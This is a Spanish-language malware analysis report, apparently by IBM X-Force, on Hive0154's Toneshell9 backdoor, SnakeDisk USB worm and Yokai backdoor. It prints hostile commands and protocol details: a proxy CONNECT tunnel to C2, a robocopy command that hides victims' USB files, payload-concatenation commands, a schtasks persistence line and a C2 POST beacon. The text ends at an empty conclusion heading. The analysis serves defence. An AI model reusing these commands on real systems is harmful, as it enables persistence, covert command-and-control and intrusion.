Hive0154, también conocido como Mustang Panda, lanza la puerta trasera Toneshell actualizada y el novedoso gusano USB SnakeDisk

Primer plano de una computadora portátil que muestra un código azul con una línea roja de código hacia el centro.

Autores

Golo Mühr

Malware Reverse Engineer

IBM

Joshua Chung

Cyber Threat Intelligence Analyst

IBM Security

En julio de 2025, IBM® X-Force descubrió nuevo malware atribuido al actor de amenazas Hive0154 vinculado a China. Esto incluye una variante actualizada de Toneshell que evade las detecciones y admite varias características nuevas, así como un nuevo gusano USB llamado SnakeDisk descubierto a mediados de agosto. El gusano solo se ejecuta en dispositivos con direcciones IP basadas en Tailandia y suelta la puerta trasera Yokai, descubierta por Netskope en diciembre de 2024.

Principales conclusiones

  • A mediados de 2025, X-Force observó varias variantes de malware Toneshell y Pubload en archivos armados cargados principalmente desde Singapur y Tailandia.
  • Una de las variantes que evaden las detecciones de VirusTotal es la última actualización "Toneshell9". Admite la comunicación de comando y control (C2) a través de proxies configurados localmente para mezclarse con el tráfico de la red empresarial y facilita dos shells inversos en paralelo.
  • X-Force analizó un nuevo gusano USB, SnakeDisk, que solo se ejecuta en dispositivos ubicados en Tailandia, en función de su dirección IP. El gusano muestra códigos que se solapan con Tonedisk y es capaz de detectar dispositivos USB nuevos y existentes, que emplea como arma de propagación.
  • La muestra analizada de SnakeDisk deja caer la puerta trasera Yokai en los dispositivos infectados, lo que configura un shell inverso que permite a los operadores ejecutar comandos arbitrarios. Yokai estuvo previamente vinculado a campañas dirigidas a funcionarios tailandeses en diciembre de 2024.

Antecedentes

Hive0154 es un actor de amenazas bien establecido alineado con China con un gran arsenal de malware, técnicas consistentes y actividad bien documentada en los últimos años. El grupo consta de múltiples subclústeres y participa en ciberataques dirigidos a organizaciones públicas y privadas, incluidos Think, grupos de políticas, gobierno e individuos. La observación de X-Force sobre el uso por parte del grupo de múltiples cargadores de malware personalizados, puertas traseras y familias de gusanos USB demuestra sus capacidades. La actividad de Hive0154 se superpone con actores de amenazas informados públicamente como Mustang Panda, Stately Taurus, Camaro Dragon, Twill Typhoon, Polaris y Earth Preta.

Espionaje cibernético dirigido a Asia oriental

A mediados de 2025, X-Force observó varios archivos armados cargados en VirusTotal desde Singapur y Tailandia:

Nombre de archivo

DLL maliciosa

Servidor C2

Fecha

Información de solicitud de lugar de reunión.zip

Loader inyecta Pubload shellcode

188.208.141[.]
196:443

21 de mayo

Solicitud de reserva de hotel.7z

Toneshell8

146.70.29[.]
229:443

03 de julio

Cyber_Safety_
Checklist_
2025.rar

Toneshell8

146.70.29[.]
229:443

30 de julio

TNLA နှင့် အခြားတော်လှန်ရေးအင်အားစုများ.rar

(traducido en Myanmar: "TNLA y otras fuerzas revolucionarias")

 Toneshell8

146.70.29[.]
229:443

30 de julio

Scan(08-02-205).zip

Toneshell8

146.70.29[.]
229:443

05 de agosto

Notes.rar

Loader inyecta Pubload shellcode

188.208.141[.]
196:443

21 de agosto

CallNotes.zip

Cargador inyectando Toneshell7 shellcode

146.70.29[.]
229:443

04 de septiembre

Se observó que Hive0154 usaba un nuevo cargador para inyectar reflexivamente Pubload o Toneshell7, así como desplegar directamente la variante Toneshell8, más ofuscada. La variante más reciente de Pubload ha sufrido cambios menores y ahora admite servidores señuelo C2 y descarga de cargas útiles de shellcode a través de HTTP POST, además de TCP sin procesar que imita el tráfico TLS.

El archivo "CallNotes.zip" descubierto en septiembre se descargó de Almacenamiento en la Nube a través de un enlace en un señuelo PDF que suplantaba al Ministerio de Relaciones Exteriores de Myanmar:

PDF que contiene un enlace de descarga para el archivo armado que despliega Toneshell7
Fig. 1: PDF que contiene un enlace de descarga para un archivo armado que despliega Toneshell7

A mediados de agosto, X-Force también descubrió SnakeDisk, una nueva superposición de uso compartido de gusanos USB con variantes anteriores de Tonedisk. El gusano solo se ejecuta en dispositivos ubicados en Tailandia según lo determinado por su dirección IP pública. SnakeDisk distribuye la puerta trasera Yokai, que Netskope vinculó públicamente a varias otras campañas dirigidas a Tailandia en diciembre de 2024. 

Dada la historia previa del uso de la puerta trasera Yokai contra Tailandia, el descubrimiento del último gusano USB pareció coincidir con los recientes acontecimientos geopolíticos que rodearon a Tailandia:

  • A finales de mayo de 2025, Tailandia y Camboya se vieron envueltos en una escaramuza fronteriza que resultó en la muerte de un soldado camboyano. Las conversaciones posteriores entre Tailandia y Camboya se rompieron, con cada lado reforzando tropas a lo largo de la frontera. 
  • En junio de 2025, se filtró una llamada telefónica entre el primer ministro de Tailandia, Paetongtarn Shinawatra, y el exlíder camboyano, Hun Sen, lo que resultó en la destitución del primer ministro tailandés.
  • El 24 de julio de 2025 se produjeron múltiples enfrentamientos fronterizos entre Tailandia y Camboya, incluido el uso de artillería, ataques aéreos y bombardeos navales. El 28 de julio de 2025, ambas partes llegaron a una tregua tentativa, negociada por Estados Unidos y Malasia.
  • A principios de agosto de 2025, el gobierno camboyano acusó al ejército tailandés de planear un atentado contra el primer ministro camboyano, lo que el gobierno tailandés negó. El gobierno camboyano citó como fuente «información de inteligencia extranjera no identificada».

Tradicionalmente, la República Popular China (RPC) ha sido un benefactor de Camboya, suministrando armas e invirtiendo miles de millones en proyectos de infraestructura. Los recientes acontecimientos geopolíticos pueden haber dado ímpetu a Hive0154 para iniciar operaciones contra Tailandia. El despliegue del gusano USB SnakeDisk configurado para ejecutarse solo en máquinas con sede en Tailandia, parece sugerir que Hive0154 puede estar tratando de penetrar sistemas de air-gap, a menudo empleados en redes del gobierno.

Actualizaciones de Toneshell8 (marzo de 2025)

X-Force observó por primera vez la versión 8 de Toneshell en marzo de 2025. Es muy similar en comportamiento a la versión anterior 7, pero contiene actualizaciones menores para evadir la detección estática y dificultar el análisis. El cambio más visible es la inclusión de código basura dentro de las funciones del malware. Estas secciones de código basura implementan el siguiente comportamiento:

  • Utilice llamadas a la API para escribir archivos temporales aleatorios y eliminarlos nuevamente
  • Copiar y recorrer una cadena. Las cadenas utilizadas en las muestras iniciales se copiaron del sitio web ChatGPT de OpenAI
  • Dormir a intervalos aleatorios

Estos tres ejemplos de código se pueden encontrar, por ejemplo, en la función que resuelve todas las API:

Código basura de sueño aleatorio
Fig. 2: Código basura de sueño aleatorio
Fragmento de código que muestra un archivo aleatorio creado y eliminado en código basura.
Fig. 3: Archivo aleatorio creado y eliminado en código basura
Fragmento de código que muestra un escaneo de cadenas inútil en código basura.
Fig. 4: Escaneo inútil de cadenas en código basura

Los desarrolladores de Toneshell8 también optaron por reemplazar el generador de números pseudoaleatorios (PRNG) con una implementación personalizada del generador lineal congruente (LCG) utilizando diferentes constantes, por ejemplo:

DWORD __cdecl zf_update_prng(main_struct *main_struct)
{
  main_struct->prng_state = 0xBD828 * main_struct->prng_state + 0x4373A;
  return main_struct->prng_state;
}

Los PRNG se utilizan en Toneshell para generar un ID de víctima, claves de Verify de tráfico C2 y Verify la autenticidad de la baliza C2. Las implementaciones en las muestras de Toneshell8 varían mucho en calidad. El generador anterior, por ejemplo, es utilizado por las 4 muestras enumeradas anteriormente y solo produce 11 estados diferentes para la mayoría de las semillas. 

Por último, los códigos de respuesta codificados que se envían al servidor C2, que notifican a los operadores el estado de ciertos comandos, ahora se ofuscan calculándolos a partir de diferentes enteros codificados en la muestra. 

Toneshell9 (julio de 2025)

En julio, X-Force descubrió una nueva variante de Toneshell, a la que nos referiremos como Toneshell9. Contiene actualizaciones significativas y no tiene detecciones en VirusTotal en el momento de escribir este artículo (318a1ebc0692d1d012d20d306d6634b196cc387b1f4bc38f97dd437f117c7e20). 

La nueva variante de Toneshell se observó por primera vez en archivos RAR troyanos que contenían el software "USB Safely Remove". La estructura del código parece haberse basado en una variante bifurcada de diciembre de 2024, que contiene la configuración C2 idéntica.

Inicialización

Al igual que en las variantes anteriores, Toneshell9 se ejecuta como una DLL de carga local. El archivo RAR armado contiene un archivo BAT, que inicia un ejecutable legítimo "USBSRService.exe" con un argumento de línea de comandos " -Embedding ". Una vez que la DLL de Toneshell "EasyFuncs.dll" se carga en la memoria y se ejecuta la exportación FS_RegActiveX, comienza resolviendo un primer conjunto de API necesarias para la inicialización. Después de analizar el argumento de la línea de comandos "-Incorporación", Toneshell lanza su ejecutable principal en un nuevo proceso con el argumento "EvtSys". Este último argumento desencadena el comportamiento principal de la DLL maliciosa. 

Toneshell comienza inicializando un nuevo objeto de cliente que contiene los siguientes valores:

struct TONESHELL_CLIENT
{
  BYTE is_connected;
  HANDLE heartbeat_thread;
  C2_CLIENT *p_c2_client;
  DWORD unused_C;
  VICTIM_DATA *p_victim_data;
  DWORD unused_14;
  QWORD tick_count;
};

Luego pasa a resolver el resto de sus API necesarias a través de una función hash personalizada y almacena los punteros de función en una estructura separada. A continuación, crea un nuevo evento "Módulo externo de Windows" que actúa como mutex para evitar que se ejecuten varias instancias en la misma máquina. 

Toneshell9 está plagado de varias secciones de código basura, que recupera el número actual de ciclos de CPU, almacena el resultado como una cadena y lo desasigna nuevamente. 

fragmento de código basura de Toneshell9 dentro de la lógica de resolución de la API
Fig. 5: Código basura de Toneshell9 dentro de la lógica de resolución de API

Para gestionar y almacenar la comunicación C2, los servidores proxy, las balizas y las cargas útiles en la memoria, Toneshell crea una instancia de un objeto grande de 129 KB:

struct C2_CLIENT
{
  std::vector<std::string> c2_list;
  SOCKADDR_IN c2_sockaddr_array[16];
  int current_c2_sockaddr_index;
  int number_of_c2s;
  BYTE key[768];
  SOCKET ptr_socket;
  DWORD beacon_tls_header;
  BYTE beacon_payload_buffer[65536];
  BYTE c2_response_buffer[65536];
  DWORD size_of_c2_response;
  BYTE critical_section[24];
  std::list<proxy_entry> proxy_list;
  int proxy_enabled;
  int current_c2_string_index;
};

A diferencia de las variantes anteriores, Toneshell9 enumera las secciones de registro HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER y HKEY_USERS\\.DEFAULT para buscar servidores proxy configurados localmente. 

fragmento de código que muestra Toneshell9 analizando servidores proxy desde el registro de Windows
Fig. 6: Toneshell9 analiza servidores proxy desde el registro de Windows

Si se encuentra un servidor, tanto el protocolo de la URL (http, https, ftp o socks) como la URL completa se almacenan como cadenas en una lista de objetos. 

A continuación, Toneshell almacena su dominio de servidor C2 y su dirección IP en un vector de cadenas. La misma IP y puerto codificados se almacenan directamente en una matriz de estructuras SOCKADDR_IN. Luego, el malware recorre las cadenas del servidor C2, resolviendo la dirección IP de cada una de ellas y agregándola a la misma matriz de estructuras SOCKADDR_IN.

fragmento de código que muestra Toneshell resolviendo y almacenando direcciones de servidor C2
Fig. 7: Toneshell resolviendo y almacenando direcciones de servidores C2

Como se observó en variantes anteriores, Toneshell procede a soltar un archivo que contiene un GUID de víctima aleatorio de 16 bytes generado a través de la función Windows _ rand() :

C:\ProgramData\ProgrammaticallyCpp.inc

El GUID también se almacena en una estructura junto con la ruta del archivo y el nombre NetBIOS de la víctima. 

struct VICTIM_DATA
{
  BYTE victim_guid[16];
  BYTE computername[24];
  BYTE guid_path[24];
};

Los datos anteriores se utilizan para construir un objeto beacon en la memoria. En particular, Toneshell9 realiza cálculos sobre la diferencia en el recuento de ticks de la CPU antes y después del comportamiento de inicialización principal detallado anteriormente. Este valor está normalizado y probablemente se utilice para detectar anomalías en el tiempo de ejecución que podrían indicar un retraso en la ejecución o depuración del sandbox. 

struct BEACON_DATA
{
  BYTE key[768];   
  BYTE code_byte;       // set to 0x02
  BYTE victim_guid[16];
  BYTE computername[80];
  DWORD tick_delta;
};

 La clave XOR de 0x300 bytes se genera a través de _rand() y se utiliza para cifrar los 101 bytes de datos, comenzando en el desplazamiento 0x300. Los datos anteriores se empaquetan en un paquete de datos de aplicación TLS 1.2 falso del siguiente formato:

struct BEACON
{
  BYTE tls_header[3];       // 17 03 03
  WORD payload_size;        // 0x0365 (big-endian)
  BYTE payload_data[869];  
};

Comunicación C2 y proxy HTTP

Durante el bucle principal, Toneshell9 ejecuta una función para establecer una conexión de socket a su servidor C2. Comienza intentando conectarse a través de la primera estructura SOCKADDR_IN. Si eso falla, el malware intenta configurar una conexión de socket a través de cualquiera de los servidores proxy recopilados del registro. Esto se intenta para cada una de las cadenas de direcciones C2, es decir, la dirección IP y el dominio de la muestra analizada anteriormente. 

Después de resolver la dirección IP del servidor proxy y conectarse a través de un socket TCP, primero establece los tiempos de espera de envío y recepción en 1 minuto. A continuación, envía la siguiente solicitud de conexión: 

CONNECT <C2 server>:<C2 port> HTTP/1.0
Host: <C2 server>:<C2 port>
Content-Length: 0
Proxy-Connection: Keep-Alive
Pragma: no-cache

Si el servidor proxy devuelve un código de estado 2xx, la conexión se ha establecido correctamente y está lista para el túnel TCP sin procesar. Para verificar la conexión con su servidor C2, Toneshell9 utiliza un protocolo de protocolo de enlace corto, que también transmite la IP y el puerto del servidor en el proceso. Si el protocolo de enlace es exitoso, el identificador del socket se almacena en la estructura C2_CONNECTION y los tiempos de espera del socket se establecen en 2 minutos. Luego, Toneshell envía la primera baliza publicitaria a través del socket. 

Espera una respuesta similar de su servidor, que, aparte de los primeros 5 bytes, se cifra a través de la clave XOR transmitida anteriormente:

struct C2_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE command_code;
    BYTE shell_id;
    BYTE data[];
}

Al utilizar un proxy ya configurado en un dispositivo infectado, Toneshell puede mezclarse eficazmente con otro tráfico de red. Los entornos empresariales más grandes a menudo imponen el filtrado de salida, lo que solo permite el tráfico a través de puertas de enlace confiables, lo que bloquearía la comunicación directa de C2. La capacidad adicional de Toneshell de eludir este filtrado le permite operar dentro de entornos de red bien seguros.

Carcasa inversa

Al recibir la primera respuesta C2, Toneshell inicia un nuevo hilo que envía balizas de respuesta similares a latidos cada 30 segundos, con el código de respuesta 0x1 y un valor aleatorio de shell_id. Las balizas de respuesta tienen un formato muy similar:

struct BEACON_CMD_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE response_code;
    BYTE shell_id;
    BYTE data[];
}

Toneshell9 admite los siguientes códigos de comando:

Código

Descripción

2

Omita esta baliza y espere a que se maneje la siguiente.

3

Crea una nueva shell inversa y la asigna al shell_id.

4

Escriba una cadena de comando en el shell inverso identificado por shell_id

5

Cierre el shell inverso identificado por shell_id

Al igual que en variantes anteriores, se configura un shell inverso utilizando tuberías anónimas conectadas a los manejadores stdin y stdout de un nuevo proceso cmd.exe . Toneshell9 admite dos shells inversos activos en paralelo y utiliza la siguiente estructura para gestionar una conexión de shell:

struct REVERSE_SHELL
{
  int shell_id;
  BYTE cmd_path[24];
  HANDLE hReadPipe1;
  HANDLE hWritePipe1;
  HANDLE hReadPipe2;
  HANDLE hWritePipe2;
  DWORD hThread_cmd;
  DWORD hProcess_cmd;
  DWORD parent_pid;
  BYTE cmd_process_created;
  DWORD hThread_pipe_to_c2;
};

Para cada shell inverso, se crea un nuevo subproceso para comprobar periódicamente si hay nuevos datos de la canalización de salida estándar y enviarlos de vuelta al servidor C2 en una baliza con el código de respuesta 0x4. Los operadores de Toneshell pueden escribir datos de cadena en la tubería utilizando el shell_id correcto y ejecutar comandos arbitrarios en la máquina. Al cerrar un shell inverso, el proceso conhost.exe identificado por parent_pid también finaliza en la máquina. 

Gusano USB SnakeDisk

En agosto de 2025, X-Force descubrió un gusano USB previamente desconocido que se atribuyó a Hive0154. La DLL de 32 bits se cargó en VirusTotal como "01.dat" de Tailandia y presenta características similares a las de Toneshell9. Ambos se ejecutan a través de la carga lateral de DLL, y todas las exportaciones, excepto DllEntryPoint y el punto de entrada del malware, apuntan a la misma función, que regresa inmediatamente. Ambos también cuentan con mecanismos de resolución de API casi idénticos, lo que es coherente con casi todo el malware relacionado con Toneshell. Al igual que en la muestra de Toneshell9, SnakeDisk también lee un argumento de línea de comandos para seleccionar una de las dos rutas de ejecución posibles:

  • "-Incorporación": inicia el comportamiento de infección USB antes de soltar y ejecutar la carga útil incrustada una vez que se elimina un dispositivo.
  • "-hope": descarta y ejecuta inmediatamente la carga útil incrustada.

Inicialización

Para ejecutar la funcionalidad de infección USB, SnakeDisk requiere un archivo de configuración, que busca en el directorio actual del ejecutable principal. Cualquier archivo que se encuentre en ese directorio, a menos que se denomine "Información de volumen del sistema", se agregará a una lista de posibles archivos de configuración. Tonedisk abre y lee cada archivo, probando las siguientes condiciones para Verify el archivo antes de proceder con el descifrado.

  • El tamaño del archivo está entre 0x14A y 0x14000 bytes
  • Los primeros 4 bytes son el hash CRC32 correcto del resto del archivo

SnakeDisk procede descifrando los datos mediante un algoritmo XOR de dos fases probablemente personalizado y una clave de 320 bytes almacenada en un encabezado de 330 bytes. 

fragmento de código que muestra el algoritmo de descifrado de configuración basado en XOR
Fig. 8: Algoritmo de descifrado de configuración basado en XOR

Finalmente, el malware analiza 18 valores de cadena que definen la configuración del malware. X-Force no pudo recuperar un archivo de configuración; sin embargo, el análisis de SnakeDisk reveló los siguientes propósitos probables de los valores.

Campo de configuración

Propósito

Versión

Versión de malware utilizada para determinar si un cliente ya infectado debe volver a infectarse con una variante actualizada.

mutx

Cadena mutex.

psd

No utilizado en la muestra analizada. Posiblemente equivalente local a "usd": todos los valores "u*" son nombres de archivos/directorios en el USB después de la activación. 

urd

Posiblemente "directorio raíz USB". Nombre del directorio creado en el USB que contiene subdirectorios.

uud

Posiblemente "directorio de usuarios USB". Nombre del directorio bajo <urd> que contiene los archivos originales de los usuarios del USB.

USD

Posiblemente "directorio de pruebas USB". Nombre del directorio bajo <urd> que almacena varios componentes maliciosos de SnakeDisk.

pnex

Posiblemente "ejecutable de nombre principal". Nombre de archivo de un archivo existente en el directorio actual de SnakeDisk durante la ejecución.

pndl

Posiblemente "nombre principal DLL". Nombre de archivo de un archivo existente en el directorio actual de SnakeDisk durante la ejecución.

pnen

Posiblemente "nombre principal cifrado". Nombre de archivo de un archivo existente en el directorio actual de SnakeDisk durante la ejecución.

pnendl

Posiblemente "nombre principal DLL cifrado". Nombre de archivo de un archivo existente en el directorio actual de SnakeDisk durante la ejecución.

unex

Posiblemente "ejecutable de nombre USB". Nombre de archivo de un archivo copiado de <pnex> a la USB.

undl

Posiblemente "DLL de nombre USB". Nombre de archivo de un archivo copiado de <pndl> a la USB.

unen

Posiblemente "nombre USB cifrado". Nombre de archivo de un archivo copiado de <pnen> a la USB.

unendl

Posiblemente "DLL cifrada con nombre USB". Nombre de archivo de un archivo copiado de <pnendl> a la USB.

unendl_org

Nombre de archivo de un archivo (probablemente DLL) copiado de <pnendl> al directorio raíz del USB y oculto mediante atributos de archivo.

unconf

Nombre de archivo de la configuración de SnakeDisk soltada en el USB.

regkey

Potencialmente se relaciona con un mecanismo de persistencia del registro. No utilizado en la muestra analizada.

schkey

Potencialmente se relaciona con un mecanismo de persistencia de tareas programadas. No utilizado en la muestra analizada.

Después de leer correctamente su archivo de configuración, SnakeDisk intentará confirmar que se está ejecutando actualmente en una máquina ubicada en Tailandia. Envía una solicitud HTTP GET a http://ipinfo[.]io/json y comprueba si el campo "país" coincide con "THA" o "TH". Si eso es cierto, la ejecución continúa.

GET /json HTTP/1.1
Connection: Keep-Alive
User-Agent: Program/1.0
Host: ipinfo.io

En particular, la ejecución también continuará si se produce un error al resolver las API o durante la comunicación de red. 

Luego, SnakeDisk se asegura de que solo se ejecute en una única instancia al intentar abrir un mutex "Global\\<mutx config value>". Si el mutex ya existe, el malware sale; de lo contrario, crea la exclusión mutua a través de CreateMutexW.

Detección de dispositivos USB

Para infectar cualquier unidad USB ya conectada, SnakeDisk comienza a recorrer todas las letras de unidad posibles de AZ. Abre una manilla al volumen físico, como "\\.\A:" y envía el código de control de E/S IOCTL_STORAGE_GET_HOTPLUG_INFO (0x2D0C14) al dispositivo. Si el dispositivo es un dispositivo hotplug de acuerdo con la estructura STORAGE_HOTPLUG_INFO devuelta, inicia un nuevo subproceso para infectar esa unidad. 

Después de pasar por todas las letras de unidad, SnakeDisk duerme durante 5 segundos y luego registra una nueva clase de ventana "TestClassName" y crea una ventana correspondiente "TestWindowName". Para recuperar mensajes del sistema operativo, la función crea un bucle de mensajes de Windows utilizando GetMessageW y envía los mensajes al procedimiento de ventana del malware a través de TranslateMessage y DispatchMessageW. Solo sale del bucle cuando recibe un mensaje WM_CAP_PAL_OPEN (0x450). La clase de ventana maliciosa hace referencia a un procedimiento personalizado que escucha el mensaje WM_DEVICECHANGE (0x219), y específicamente los eventos DBT_DEVICEARRIVAL (0x8000) y DBT_DEVICEREMOVECOMPLETE (0x8004). 

fragmento de código de la función de devolución de llamada de la clase Windows que escucha los mensajes WM_DEVICECHANGE
Fig. 9: Función de devolución de llamada de clase de ventana que escucha mensajes WM_DEVICECHANGE

Si se recibe un mensaje de este tipo, por ejemplo, cuando se conecta un dispositivo USB a la máquina infectada, la función utiliza el campo "dbcv_unitmask" de la estructura DEV_BROADCAST_VOLUME para determinar la letra de unidad del dispositivo correspondiente. Para los dispositivos recién conectados, se inicia un nuevo hilo para infectar la unidad. Si SnakeDisk detecta la eliminación de un dispositivo, inicia un hilo para soltar y ejecutar su carga útil incrustada, lo que inicia la misma ruta de ejecución que habría causado la ejecución de la DLL de SnakeDisk con el argumento de línea de comando "-hope". 

Propagación USB

El hilo para infectar un dispositivo USB detectado comienza buscando en la unidad un archivo de configuración existente para determinar si ya estaba infectado. Intenta descifrar y analizar una configuración de cualquier archivo con a.dat o .cd extensión. Si se analiza una configuración, el malware compara el número de versión de la unidad ya infectada con la versión de su propia configuración y solo reinfectará las unidades con versiones anteriores de SnakeDisk. 

Luego, SnakeDisk lanza otro hilo para mover los archivos existentes en el USB a un nuevo subdirectorio. Básicamente, al ocultar los archivos que un usuario espera en su USB, el malware aumenta la posibilidad de que una víctima crea que el USB aún no se ha abierto y haga clic accidentalmente en el ejecutable armado en una nueva máquina que lleva el mismo nombre que el dispositivo. Después de ejecutarse, el lanzador malicioso copiaba de nuevo los archivos de los usuarios para evitar cualquier sospecha. La ruta que contiene los datos del usuario en un dispositivo infectado se crea a partir de los valores de configuración de la siguiente manera:

<drive_letter>:\<urd>\<uud>\

El malware puede utilizar dos mecanismos diferentes para la operación; cada uno lanzado en su propio hilo respectivo. El primero utiliza SHFIleOperationW para mover cada archivo y, durante cada operación, también lee 32 bytes de un archivo "C:\\Windows\\Tmp\\msd.log", que se escriben en un archivo "C:\\ProgramData\\app.log" antes de eliminar lo segundo. El propósito de este comportamiento no está claro. 

código que muestra a un actor de amenaza moviendo archivos desde el USB a un nuevo directorio
Fig. 10: Mover archivos del USB a un nuevo directorio

Mientras el hilo se ejecuta, el malware comprueba de manera regular si se completó correctamente durante 30 segundos antes de iniciar un segundo hilo. El segundo hilo utiliza robocopy para mover los archivos y ejecuta el siguiente comando en un nuevo proceso:

robocopy <drive_letter>:\ <drive_letter>:\<urd>\<uud>\ /XD
"<drive_letter>:\<urd>\" /XF "<drive_letter>:\<unendl_org>" /XF
"<drive_letter>:\<usb_volumename>.exe" /XD "System Volume Information" /E
/MOVE

Ambos movimientos de archivos excluyen los archivos armados de SnakeDisk y el archivo "Información de volumen del sistema", que debe permanecer en el directorio raíz del disco USB. Después de ejecutar el comando anterior, el mismo comando se inicia nuevamente con dos indicadores adicionales "/IS" y "/XO", para incluir los mismos archivos y excluir los archivos del directorio de origen más antiguos que el destino. 

Después de mover los archivos ya existentes en el USB, SnakeDisk copia sus propias cargas útiles desde su directorio actual a la unidad USB. Los siguientes archivos, como se especifica en la configuración, se copian a través de CopyFileW, cada uno en un nuevo hilo:

.\<pnex> copied to <drive_letter>:\<urd>\<usd>\<unex>
.\<pndl> copied to <drive_letter>:\<urd>\<usd>\<undl>
.\<pnen> copied to <drive_letter>:\<urd>\<usd>\<unen>
.\<pnendl> copied to <drive_letter>:\<urd>\<usd>\<unendl>
.\<pnen> copied to <drive_letter>:\<usb_volumename>.exe
.\<pnendl> copied to <drive_letter>:\<unendl_org>

El nombre del archivo EXE en la raíz de la unidad USB se establece en el nombre del volumen del dispositivo USB, o simplemente "USB.exe" si está vacío. SnakeDisk también establece los atributos SYSTEM y HIDDEN en el archivo copiado en "<drive_letter>:\<unendl_org>". Todos los directorios en el USB también llevan esos atributos, ocultando efectivamente todo excepto el ejecutable. Aunque X-Force no recuperó ninguno de los otros archivos, los gusanos USB anteriores utilizaban la misma técnica para atraer a las víctimas para que hicieran clic en el ejecutable, lo que cargaba una DLL para iniciar la infección. Es probable que el nombre de archivo de esa DLL maliciosa esté almacenado en el valor de configuración "unendl_org". Por último, SnakeDisk escribe su configuración en un nuevo archivo en el USB con el nombre del valor "unconf". 

Ejecución de la carga útil

El subproceso de SnakeDisk responsable de soltar y ejecutar su carga útil incrustada se inicia cuando se detecta la eliminación de un dispositivo USB, o al comienzo de la ejecución de SnakeDisk a través del argumento de línea de comando "-hope". 

Primero, el hilo lee un archivo de marcador "vm.ini" en su directorio y compara el contenido con su propia ruta actual. Este archivo también se escribe después de la eliminación y ejecución exitosas de cargas útiles e indica si una víctima ya ha sido infectada con la carga útil incrustada de SnakeDisk. Si las rutas coinciden, no se descartarán cargas útiles y el hilo terminará. 

Después de la primera verificación, SnakeDisk comienza a soltar una serie de cargas útiles en el directorio "C:\Users\Public\". Cada archivo se construye en la memoria a partir de valores inmediatos en funciones grandes entre 0.6 y 3.3 MB.

Código que muestra la función desensamblada que construye una carga útil binaria.
Fig. 11: Función desensamblada que construye una carga útil binaria

Luego, las cargas útiles se descifran mediante una simple operación XOR antes de soltarlas como archivos para:

  • C:\Users\Public\srv0
  • C:\Users\Public\srv1
  • C:\Users\Public\srv2
  • C:\Users\Public\loga
  • C:\Users\Public\logb
  • C:\Users\Public\logc

Estos archivos se concatenan en grupos de tres para producir las dos cargas útiles finales a través de los siguientes comandos:

cmd.exe /c cd "c:\users\public\" & copy /b "srv0"+"srv1"+"srv2"
c:\users\public\libcef.dll
cmd.exe /c cd "c:\users\public\" & copy /b "loga"+"logb"+"logc"
c:\users\public\<randomised_name>.exe

El nombre de archivo del EXE se crea a partir de 10 letras mayúsculas y números aleatorios. Después de la concatenación, los archivos se eliminan. 

Finalmente, el ejecutable se inicia en un nuevo proceso con un argumento de línea de comandos codificado:

c:\users\public\<randomised_name>.exe -project-mod

Como era de esperarse, el EXE (bb5bb82e5caf7d4dbbe878b75b23f793a5f3c5ca6dba70d8be447e8c004d26ce) es un ejecutable legítimo y firmado (acwebbrowser.exe) que carga de forma paralela el archivo malicioso libcef.dll durante su ejecución. 

Puerta trasera Yokai

La carga útil del archivo DLL se identificó como la puerta trasera Yokai, sobre la que informó Netskope en diciembre de 2024. Tras la ejecución, el malware primero busca el argumento "-project-mod" y luego establece la persistencia a través de una tarea programada si el usuario no es miembro del grupo del administrador:

cmd.exe /c schtasks /create /f /sc MINUTE /MO 5 /tn
"MicrosoftEdgeAcModuleUpdateTask" /tr "<path> -project-mod"

Continúa creando un nuevo mutex " k1tpddvivh74fo1et725okr1c1 " e inicializa una estructura de configuración interna. La variante lanzada por SnakeDisk contiene la cadena de versión " 1.0.0 " y se conecta a un servidor C2 codificado a través de solicitudes HTTP POST:

POST /kptinfo/import/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: WinHTTP Example/1.0
API-INDEX: 0
Accept-Connect: 0
Content-Length: 156
Host: 118.174.183[.]89
<encrypted data>

Como se describe en el análisis de Netskope, Yokai se utiliza para crear un shell inverso a través de canalizaciones anónimas, lo que permite a los operadores ejecutar comandos arbitrarios en la máquina infectada. 

Curiosamente, Yokai muestra superposiciones con otras familias de puertas traseras atribuidas a Hive0154, como Pubload/Pubshell y Toneshell. Aunque esas familias son piezas de malware claramente separadas, siguen aproximadamente la misma estructura y utilizan técnicas similares para establecer un shell inverso con su servidor C2.

Superposiciones con Tonedisk

El análisis de X-Force también reveló fuertes superposiciones entre SnakeDisk y Tonedisk. A lo largo de los años, ha habido varias familias de gusanos USB asociadas con Hive0154. Las variantes estrechamente relacionadas con la familia Toneshell en sus implementaciones son rastreadas por X-Force como Tonedisk. Hasta ahora, se han identificado 3 versiones principales de Tonedisk (A, B y C). Cada una de las versiones de Tonedisk es una suite de diferentes componentes maliciosos que conforman la funcionalidad completa del gusano USB. Estos componentes incluyen lanzadores, cargadores, esparcidores, archivos cifrados, instaladores y puertas traseras.

SnakeDisk se superpone específicamente con la variante ToneDisk A, de la que Checkpoint también informó a mediados de 2023 como WispRider. Los mecanismos de propagación USB del malware, el hash de API y los archivos de configuración muestran varias similitudes, que se alinean con la tendencia conocida de los subclústeres Hive0154 de compartir y reutilizar el malware entre ellos. 

Atribución

X-Force rastrea la actividad en este informe bajo el clúster general Hive0154, que se superpone parcialmente con la actividad publicada como Mustang Panda, Stately Taurus, Camaro Dragon, Twill Typhoon, Polaris, TEMP.Hex y Earth Preta. Este grupo parece mantener un ecosistema de malware considerablemente grande con superposiciones frecuentes tanto en el código malicioso, las técnicas utilizadas durante los ataques como en la orientación. Dentro del clúster paraguas más grande, X-Force separa al menos tres subclústeres de actividad con baja confianza, con cada clúster asociado con una de las cepas centrales de malware PlugX, Toneshell y Pubload. En particular, cada cepa de malware se combina con una infraestructura de gusano USB diferente y una o más variantes de malware de cargador relacionadas, que cambian con mayor frecuencia. Se puede usar el mismo cargador para diferentes cargas útiles, como Toneshell o Pubload, dentro del mismo período de tiempo. Sin embargo, es importante tener en cuenta que el clúster de actividades no indica automáticamente que estén operando como subgrupos separados. 

La actividad asociada con el uso de SnakeDisk y la puerta trasera Yokai posiblemente indica otro subclúster de Hive0154. Actualmente parece estar dirigido principalmente a Tailandia, como se desprende de las verificaciones de geolocalización de IP en los informes de SnakeDisk y Netskope. 

Conclusión

